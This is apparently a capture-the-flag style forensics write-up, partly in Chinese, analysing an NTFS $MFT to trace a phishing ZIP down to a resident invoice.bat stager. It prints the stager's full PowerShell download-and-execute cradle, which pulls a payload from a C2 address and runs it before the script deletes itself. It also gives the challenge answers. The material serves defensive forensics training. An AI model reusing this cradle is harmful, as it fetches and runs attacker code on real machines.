

# BFT,MFT(MFTECmd、Timeline Explorer、MFTExplorer)

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tools : MFTECmd、Timeline Explorer、MFTExplorer

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使用工具：MFTECmd 將\$MFT轉成CSV

參考：

- <https://ericzimmerman.github.io/#index.md#requirements-and-troubleshooting>
- <https://github.com/EricZimmerman/MFTECmd>

指令：

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MFTECmd.exe -f "C:\Users\TS0\Downloads\BFT\C\$MFT" --csv  
"C:\Users\TS0\Downloads\BFT\C"
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使用 Timeline Explorer 開啟CSV檔

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## Task 1

Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?

Parent Path	File Name	Extension	Created0x10
C:\	C:\	= .zip	= 2024-02-13 00:00:00
.\Users\simon.stark\Downloads	Stage-20240213T093324Z-001.zip	.zip	2024-02-13 16:34:40
.\Users\simon.stark\Downloads	KAPE.zip	.zip	2024-02-13 16:39:06
.\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice	invoices.zip	.zip	2024-02-13 17:25:52

Stage-20240213T093324Z-001.zip

Task 2

Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?

Timeline Explorer v2.0.0.1				
File Tools Tabs View Help				
20241128024830_MFTECmd_\$MFT_Output.csv				
Enter text to search... Find				
	File Name	Extension	Zone Id Contents	Created0x10
▼	C:\ Stage-20240213T093324Z-001.zip	=	C:\	= 2024-02-13 00:00:00
▶	Stage-20240213T093324Z-001.zip:Zone.Identifier	.Identifier	[ZoneTransfer] ZoneId=3 HostUrl=https://storage.googleapis.com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser	2024-02-13 16:34:40
	Stage-20240213T093324Z-001.zip	.zip		2024-02-13 16:34:40

https://storage.googleapis.com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser

Task 3

What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?

Timeline Explorer v2.0.0.1				
File Tools Tabs View Help				
20241128024830_MFTECmd_\$MFT_Output.csv				
Enter text to search... Find				
	Parent Path	File Name	Extension	Zone Id Contents
▼	C:\ Stage-20240213T093324Z-001	C:\	=	C:\
	.\Users\simon.stark\Downloads\Stage-20240213T093324Z-001	Stage		20
	.\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage	invoice		20
	.\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice	invoices		20
▶	.\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices	invoice.bat	.bat	20
	.\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices	invoice.bat:Zone.Identifier	.Identifier	[ZoneTransfer] ZoneId=3 RefererUrl=C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices.zip

C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat

Task 4

Analyze the \$Created0x30 timestamp for the previously identified file. When was this file created on disk?

Timeline Explorer v2.0.0.1

File Tools Tabs View Help

0241128024830\_MFTCmd\_\$MFT\_Output.csv

Enter text to search... Find

Path	File Name	Extension	Zone Id	Contents	Created0x30
-20240213T093324Z-001					
\simon.stark\Downloads\Stage-20240213T093324Z-001	Stage				
\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage	invoice				
\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice	invoices				
\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices	invoice.bat	.bat			2024-02-13 16:38:39
			[ZoneTransfer]		

2024-02-13 16:38:39

Task 5

Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.

使用MFTExplorer工具，開啟MFT並找尋第3題的位置。找偏移值

MFT Explorer v2.0.0.0

File Tools Help

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\$WinREAgent

Documents and Settings

PerfLogs

Program Files

Program Files (x86)

ProgramData

Recovery

System Volume Information

Users

All Users

Default

Default User

Public

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3D Objects

AppData

Application Data

Contacts

Cookies

Desktop

Documents

Copied

Has ADS

Is deleted

Is directory

Possible Timestamped

Drag a column header here to group by that column

Image Icon	Name	Parent Path	Is Dir	Is Deleted	ST_Created On	FI_Created On
No image data	invoice.bat	.\Users(simon.stark)\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices			2024-02-13 17:23:16.0000000	2024-02-13 16:38:39.93

00000000 46 49 4C 45 30 00 03 00 05 FF 4B 59 00 00 00 09 00 01 00 8.....yKY.....  
00000014 38 00 01 00 00 03 00 00 04 00 00 00 00 00 00 00 00 00 8.....  
00000028 04 00 00 00 8C 58 00 00 03 00 30 61 00 00 00 10 00 00 0.....  
0000003C 60 00 00 00 00 00 00 00 00 00 00 00 48 00 00 18 00 00 0.....  
00000050 00 9A 6C 54 A1 5E DA 01 92 1D 62 19 9B 5E DA 01 92 1D 62 19 ..!T;^Ü...b...^Ü...b..  
00000064 9B 5E DA 01 F9 29 10 1A 9B 5E DA 01 20 00 00 00 00 00 00 00 ..^Ü..^Ü...^Ü..  
00000078 00 00 00 00 00 00 00 00 00 00 00 00 A8 05 00 00 00 00 00 .....X.....Z..  
0000008C 00 00 00 00 98 29 6E 2D 00 00 00 00 30 00 00 70 00 00 0.....  
000000A0 00 00 00 00 00 02 00 00 58 00 00 00 18 00 01 00 01 5A 01 0.....  
000000B4 00 00 02 00 0E 58 5D 19 9B 5E DA 01 0E 58 5D 19 9B 5E DA 01 .....  
000000C8 0E 58 5D 19 9B 5E DA 01 0E 58 5D 19 9B 5E DA 01 00 00 00 00 .....  
000000DC 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 0.....  
000000F0 08 03 69 00 6E 00 76 00 6F 00 69 00 63 00 65 00 2E 00 62 00 .....  
00000104 61 00 74 00 80 00 00 00 38 01 00 69 00 63 00 65 00 00 01 00 .....  
00000118 1E 01 00 00 18 00 00 00 40 65 63 68 6F 20 6F 66 6A 73 74 .....@echo off.st  
0000012C 61 72 74 20 2F 62 20 70 6F 77 65 72 73 68 65 6C 6C 2E 65 78 .....  
00000140 65 20 2D 6E 6F 6C 20 2D 77 20 31 20 2D 6E 6F 70 20 2D 65 70 .....  
00000154 20 62 79 70 61 73 73 20 22 28 4E 65 77 2D 4F 62 6A 65 63 74 .....  
00000168 20 4E 65 74 2E 57 65 62 43 6C 69 65 6E 74 29 2E 50 72 6F 78 .....  
0000017C 79 2E 43 72 65 64 65 6E 74 69 61 6C 73 3D 58 4E 65 74 2E 43 .....  
Current offset: 0 (0x0) Bytes selected: 0 (0x0)

Overview

Details

[00005B8C-00000009, Entry-seq #: 0x5B8C-0x9, Offset: 0x16E3000, Flags: InUse, Log Sequence #: 0x594BFF05, Mft Record To Base Record: Entry/seq: 0x0-0x0 Reference Count: 0x1, Fixup Data: Expected: 03-00 Fixup Actual: 30-61|00-00 (Fixup OK: True) \*\*\*\*\* STANDARD INFO \*\*\*\*\* Type: StandardInformation, Attribute #: 0x0, Size: 0x60, Content size: 0x48, Name size: 0x0, Content offset: 0x18, Resident: True Flags: Archive, Max Version: 0x0, Flags 2: None, Class Id: 0x0, Owner Id: 0x0, Security Id: 0x5A8, Quota Charged: 0x0 Update Sequence #: 0x2D6E2998 Created On: 2024-02-13 17:23:16.0000000 Content Modified On: 2024-02-13 16:38:39.9653266 Record Modified On: 2024-02-13 16:38:39.9653266 Last Accessed On: 2024-02-13 16:38:41.1059705 \*\*\*\*\* FILE NAME \*\*\*\*\* Type: FileName, Attribute #: 0x2, Size: 0x70, Content size: 0x70

Selected directory: .\Users(simon.stark)\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices

Offset: 0x16E3000

題外，下面為裡面所有內容：

[00005B8C-00000009, Entry-seq #: 0x5B8C-0x9, Offset: 0x16E3000, Flags: InUse, Log Sequence #: 0x594BFF05, Mft Record To Base Record: Entry/seq: 0x0-0x0 Reference Count: 0x1, Fixup Data: Expected: 03-00 Fixup Actual: 30-61|00-00 (Fixup OK: True)

\*\*\*\*\* STANDARD INFO \*\*\*\*\*

Type: StandardInformation, Attribute #: 0x0, Size: 0x60, Content size: 0x48, Name size: 0x0, Content offset: 0x18, Resident: True

Flags: Archive, Max Version: 0x0, Flags 2: None, Class Id: 0x0, Owner Id: 0x0, Security Id: 0x5A8, Quota Charged: 0x0  
Update Sequence #: 0x2D6E2998

Created On: 2024-02-13 17:23:16.0000000  
Content Modified On: 2024-02-13 16:38:39.9653266  
Record Modified On: 2024-02-13 16:38:39.9653266  
Last Accessed On: 2024-02-13 16:38:41.1059705

\*\*\*\* FILE NAME \*\*\*\*

Type: FileName, Attribute #: 0x2, Size: 0x70, Content size: 0x58, Name size: 0x0, Content offset: 0x18, Resident: True

File name: invoice.bat (Length: 0xB)

Flags: Archive, Name Type: DosWindows, Reparse Value: 0x0, Physical Size: 0x0, Logical Size: 0x0

Parent Mft Record: Entry/seq: 0x15A01-0x2

Created On: 2024-02-13 16:38:39.9341326  
Content Modified On: 2024-02-13 16:38:39.9341326  
Record Modified On: 2024-02-13 16:38:39.9341326  
Last Accessed On: 2024-02-13 16:38:39.9341326

\*\*\*\* DATA \*\*\*\*

Type: Data, Attribute #: 0x1, Size: 0x138, Content size: 0x11E, Name size: 0x0, Content offset: 0x18, Resident: True

Resident Data

Data: 40-65-63-68-6F-20-6F-66-66-0A-73-74-61-72-74-20-2F-62-20-70-6F-77-65-72-73-68-65-6C-6C-2E-65-78-65-20-2D-6E-6F-6C-20-2D-77-20-31-20-2D-6E-6F-70-20-2D-65-70-20-62-79-70-61-73-73-20-22-28-4E-65-77-2D-4F-62-6A-65-63-74-20-4E-65-74-2E-57-65-62-43-6C-69-65-6E-74-29-2E-50-72-6F-78-79-2E-43-72-65-64-65-6E-74-69-61-6C-73-3D-5B-4E-65-74-2E-43-72-65-64-65-6E-74-69-61-6C-43-61-63-68-65-5D-3A-3A-44-65-66-61-75-6C-74-4E-65-74-77-6F-72-6B-43-72-65-64-65-6E-74-69-61-6C-73-3B-69-77-72-28-27-68-74-74-70-3A-2F-2F-34-33-2E-32-30-34-2E-31-31-30-2E-32-30-33-3A-36-36-36-36-2F-64-6F-77-6E-6C-6F-61-64-2F-70-6F-77-65-72-73-68-65-6C-6C-2F-4F-6D-31-68-64-48-52-70-5A-6D-56-7A-64-47-46-30-61-57-39-75-49-47-56-30-64-77-3D-3D-27-29-20-2D-55-73-65-42-61-73-69-63-50-61-72-73-69-6E-67-7C-69-65-78-22-0A-28-67-6F-74-6F-29-20-32-3E-6E-75-6C-20-26-20-64-65-6C-20-22-25-7E-66-30-22-0A

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ASCII: @echo off
start /b powershell.exe -nol -w 1 -nop -ep bypass "(New-Object
Net.WebClient).Proxy.Credentials=
[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://43.204.110.203:
6666/download/powershell/0m1hdHRpZmVzdGF0aW9uIGV0dw==') -
UseBasicParsing|iex"
(goto) 2>nul & del "%~f0"
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Unicode: 攸档景o瑳牡<sup>4</sup>戲潑腎枋棒汶□礪渭沘□<sup>7</sup>涓涓灯□蠱戠炆鴉□.教□執緻瑣卍璫圮托汜敦璫))牘硯□  
牒揚湊梃污滲<sup>7</sup>璫繡敲戠璫慥羴捡故掾睥皖咳塗教睥牒斡敲戠璫慥獬樞牲✦璫烺<sup>3</sup>暮□<sup>6</sup>□<sup>7</sup>□<sup>6</sup>◁<sup>6</sup>掎筌筌搯  
腎洵傷用潰敷獲故茆伯<sup>8</sup>擢剔嬾噉摺禊愜愜愜鏹噉掎辯✱ 喼斂憑媒倍牡媒柿楼礪<sup>8</sup>木瑯<sup>11</sup>(一)渾沔<sup>8</sup>擗汶<sup>6</sup>縹て  
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\*\*\*\* DATA \*\*\*\*

Type: Data, Attribute #: 0x3, Size: 0xB8, Content size: 0x7C, Name size:  
0xF, Name: Zone.Identifier, Content offset: 0x38, Resident: True

Resident Data

Data: 5B-5A-6F-6E-65-54-72-61-6E-73-66-65-72-5D-0D-0A-5A-6F-6E-65-49-64-3D-  
33-0D-0A-52-65-66-65-72-72-65-72-55-72-6C-3D-43-3A-5C-55-73-65-72-73-5C-73-  
69-6D-6F-6E-2E-73-74-61-72-6B-5C-44-6F-77-6E-6C-6F-61-64-73-5C-53-74-61-67-  
65-2D-32-30-32-34-30-32-31-33-54-30-39-33-33-32-34-5A-2D-30-30-31-5C-53-74-  
61-67-65-5C-69-6E-76-6F-69-63-65-5C-69-6E-76-6F-69-63-65-73-2E-7A-69-70-0D-  
0A

ASCII: [ZoneTransfer]

ZoneId=3

ReferrerUrl=C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-  
001\Stage\invoice\invoices.zip

Unicode: 娉湯咄憐獮敦嶸□瀟敵摻熒□倣敦牲枋牕濫蹇噉斂獲獮浩湯猷憫歲磔腎洵傷獮卜憫敲(木)(日)/<sup>11</sup>𑖅  
吳恁<sup>3</sup>伏<sup>8</sup>〇<sup>7</sup>~就疎条履漣漣振履漣漣振獮種漣□

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## Task 6

Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port.

同上，C2 IP顯示：

43.204.110.203:6666